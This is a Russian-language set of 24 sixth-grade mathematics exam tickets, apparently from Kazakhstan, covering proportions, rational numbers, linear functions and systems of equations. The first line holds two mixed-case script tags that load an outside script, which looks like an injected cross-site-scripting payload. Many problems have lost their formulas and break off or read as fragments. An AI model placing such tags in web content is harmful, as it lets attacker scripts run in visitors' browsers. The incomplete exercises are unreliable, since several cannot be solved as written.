<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Билеты по
математике
6 класс
Билет № 1
1. Отношение.Пропорция. Основное свойство пропорции. Прямо пропорциональные и обратно
пропорциональные величины.
2.Авторучка и карандаш стоят 54 тенге. Авторучка на 26 тенге дороже карандаша. Сколько
стоят авторучка и карандаш в отдельности?
Билет № 2
1. Нахождение процентов от числа и числа по
его процентам с помощью пропорции. Масштаб.
2. Приведите уравнение с двумя переменными к виду ах + ву = с и постройте его график:
-3х+у-8=3х-3у+3
Билет № 3
1. Длина окружности, площадь круга. Шар,Сфера.
2. Принадлежит ли графику функции у = - точка А(0;-4). Найдите координаты точек
пересечения с осями координат прямых, являющихся графиками уравнений: х + у =8; 6х – 2у = 1.
Билет № 4
1. Положительные и отрицательные числа. Координатная
прямая. Противоположные числа. Целые числа. Рациональные числа.
2. Графики каких линейных функций: у =4х+8, у = -5х + 11, у = 4х, у = 5х,
у = 7х – 0,5, у = -6х – 0,5, у = 1,5х + 2, у = -9+ 1,5х, у = х-4, у = 8
+ 6х – пересекаются?
Билет № 5
1. Модуль числа и его геометрический смысл.
Сравнение рациональных чисел.
2. Графики каких линейных функций: у = 4х+8, у = -5х + 11, у = 4х, у = 5х,
у = 7х – 0,5, у = -6х – 0,5, у = 1,5х + 2, у = -9+ 1,5х, у = х-4, у = 8+ 6х – параллельны?
Билет № 6
1. Сложение рациональных чисел с помощью координатной прямой. Сложение отрицательных рациональных чисел. Сложение рациональных чисел с разными знаками. Свойства сложения рациональных чисел.
2. Графики каких линейных функций: у = 4х+8, у = -5х + 11, у = 4х, у = 5х,
у = 7х – 0,5, у = -6х – 0,5, у = 1,5х + 2, у = -9+ 1,5х, у = х-4, у = 8+ 6х – совпадают?
Билет № 7
1. Вычитание рациональных чисел. Сложение и
вычитание рациональных чисел. Расстояние между точками координатной прямой.
2. Решите систему уравнений графическим
способом :
Билет № 8
1. Умножение рациональных чисел.
Переместительное и сочетательное свойства умножения рациональных чисел.
2. Решите систему уравнений способом подстановки:
Билет № 9
1. Деление рациональных чисел. Бесконечная десятичная
дробь.
2. Решите систему уравнений способом сложения:
Билет № 10
1.
Переменная. Распределительное свойство
умножения рациональных чисел. Раскрытие скобок.
2. Постройте график линейного уравнения х + у – 3=0
Билет № 11
1. Коэффициент. Подобные слагаемые.
Приведение подобных слагаемых.
2. Найдите значение суммы всех целых чисел,
при которых верна система неравенств:
Билет № 12
1. Тождественные преобразования
выражений.
2. Найдите все натуральные числа, при
которых верна система неравенств: :
Билет № 13
1. Числовые равенства и их свойства.
Решение уравнений.
2. Найдите решение системы уравнений:
Билет № 14
1. Линейное уравнение с одной переменной.
Линейное уравнение, содержащее переменную под знаком модуля.
2. Решите уравнение: 4(-2х + 5) = 14 – 2(4х - 3)
Билет № 15
1. Числовые неравенства и их свойства. Числовые
промежутки.
2. Докажите , что нет такого числа, которое
было бы корнем уравнения:
Х+ 4 = х – 3; = -1
Билет № 16
1.
Числовые промежутки. Объединение и
пересечение числовых промежутков.
2. Решите уравнение: =
Билет № 17
1. Линейные неравенства с одной переменной.
Решение систем линейных неравенств с одной переменной.
2. Проверьте, является ли записанное
равенство пропорцией: 5 :9 =4
.
Билет № 18
1.
Линейное неравенство, содержащее
переменную под знаком модуля. Решение неравенств.
2.
Найдите значение выражения: - п2
+ 2п – 4 – 3п – 6 + 2п2 + п, если п = -5.
Билет № 19
1.
Плоскость. Перпендикулярные отрезки и
прямые. Параллельные отрезки и прямые. Координатная плоскость. Прямоугольная
система координат. Центральная и осевая симметрия
2.
Приведите подобные слагаемые в
выражении: 6а + в + 2в – а
4а – в – а + 16
2у – 7у + 11 – 3у + 8у
Билет № 20
1. Функция. Табличный и Графический способ
задания функции. Линейная функция и ее график. Взаимное расположение графиков линейных функций.
2. Раскройте скобки и решите уравнение: 4 - - (п-1) =
.
Билет № 21
1. Линейное уравнение с двумя переменными и
его график. Система линейных уравнений с двумя переменными.
2. Раскройте скобки в выражении: х + (у –п)
(-2)*(х+у-8)
с-(-а-в)
Билет
№ 22
1. Система линейных уравнений с двумя переменными. Решение систем линейных уравнений с двумя переменными способом сложения.
2. Сравните значения выражений: -24*8 и 0; -3,5* и () -2,4*(-3,6) и 0.
Билет № 23
1. Система линейных уравнений с двумя переменными. Решение систем линейных уравнений с
двумя переменными способом подстановки.
2. Выполните действия: 7,5*(-0,01)* *(-1)*.
Билет № 24
1. Система
линейных уравнений с двумя переменными. Решение систем линейных уравнений с
двумя переменными графическим способом.
2. Выполните действия: -8 – 4; 12 – (-4); -13 + 10; -5 + (-1);
* - ;
636:(-0,12)